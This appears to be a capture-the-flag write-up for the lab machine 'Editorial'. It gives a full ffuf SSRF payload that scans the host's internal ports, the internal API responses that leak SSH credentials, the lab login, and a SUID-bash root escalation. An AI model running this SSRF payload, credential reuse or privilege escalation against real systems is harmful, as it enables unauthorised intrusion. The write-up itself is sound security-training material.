credentials

editorial.htb
target ip:10.10.11.20
my ip:10.10.14.7

ssh
login:dev
password:dev080217_devAPI!@

report

+editorial.htb
target ip:10.10.11.20
my ip:10.10.14.7

We found a website vulnerable to ssrf. Using fuzz and burpsuit, we can setup an ssrf attack to scan all port of the target.
(we can use burpsuit intruder too but very slow if you have the free version)

```
ffuf -w /usr/share/wordlists/SecLists/Fuzzing/4-digits-0000-9999.txt -c -fs 61 -u http://editorial.htb/upload-cover -X 'POST' \
    -H $'Host: editorial.htb' -H $'Content-Length: 305' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36' -H $'Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryURZO5Yszt4skK4MJ' -H $'Accept: */*' -H $'Origin: http://editorial.htb' -H $'Referer: http://editorial.htb/upload' -H $'Accept-Encoding: gzip, deflate, br' -H $'Accept-Language: en-US,en;q=0.9' -H $'Connection: close' \
    --data-binary $'------WebKitFormBoundaryURZO5Yszt4skK4MJ\x0d\x0aContent-Disposition: form-data; name=\"bookurl\"\x0d\x0a\x0d\x0ahttp://127.0.0.1:FUZZ\x0d\x0a------WebKitFormBoundaryURZO5Yszt4skK4MJ\x0d\x0aContent-Disposition: form-data; name=\"bookfile\"; filename=\"\"\x0d\x0aContent-Type: application/octet-stream\x0d\x0a\x0d\x0a\x0d\x0a------WebKitFormBoundaryURZO5Yszt4skK4MJ--\x0d\x0a' \
    $'http://editorial.htb/upload-cover'

    5000                    [Status: 200, Size: 51, Words: 1, Lines: 1, Duration: 47ms]
```

port 5000 gives us a different output. The temporary file uploaded to the url returned by the request should contain information about port 5000.

```
{"messages":[{"promotions":{"description":"Retrieve a list of all the promotions in our library.","endpoint":"/api/latest/metadata/messages/promos","methods":"GET"}},{"coupons":{"description":"Retrieve the list of coupons to use in our library.","endpoint":"/api/latest/metadata/messages/coupons","methods":"GET"}},{"new_authors":{"description":"Retrieve the welcome message sended to our new authors.","endpoint":"/api/latest/metadata/messages/authors","methods":"GET"}},{"platform_use":{"description":"Retrieve examples of how to use the platform.","endpoint":"/api/latest/metadata/messages/how_to_use_platform","methods":"GET"}}],"version":[{"changelog":{"description":"Retrieve a list of all the versions and updates of the api.","endpoint":"/api/latest/metadata/changelog","methods":"GET"}},{"latest":{"description":"Retrieve the last version of api.","endpoint":"/api/latest/metadata","methods":"GET"}}]}
```

~~/api/latest/metadata/messages/promos~~
~~/api/latest/metadata/messages/coupons~~
~~/api/latest/metadata/messages/authors~~
~~/api/latest/metadata/messages/how_to_use_platform~~
~~/api/latest/metadata/changelog~~
~~/api/latest/metadata~~

```
[{"2anniversaryTWOandFOURread4":{"contact_email_2":"info@tiempoarriba.oc","valid_until":"12/02/2024"}},{"frEsh11bookS230":{"contact_email_2":"info@tiempoarriba.oc","valid_until":"31/11/2023"}}]
```

```
{"template_mail_message":"Welcome to the team! We are thrilled to have you on board and can't wait to see the incredible content you'll bring to the table.\n\nYour login credentials for our internal
```

forum and authors site are:\nUsername: dev\nPassword: dev080217_devAPI!@\nPlease be sure to change your password as soon as possible for security purposes.\n\nDon't hesitate to reach out if you have any questions or ideas - we're always here to support you.\n\nBest regards, Editorial Tiempo Arriba Team."}

thanks to the ssrf we found that the port 5000 was hosting an api not accessible from outside. Using this api, we got data containing a password that allow us to log in with ssh as a user.

ssh
login:dev
password:dev080217_devAPI!@

Now its privilege escalation time. Using linpeas we see that /usr/bin/bash has suid bit set. We just have to do /usr/bin/bash -p and we are root !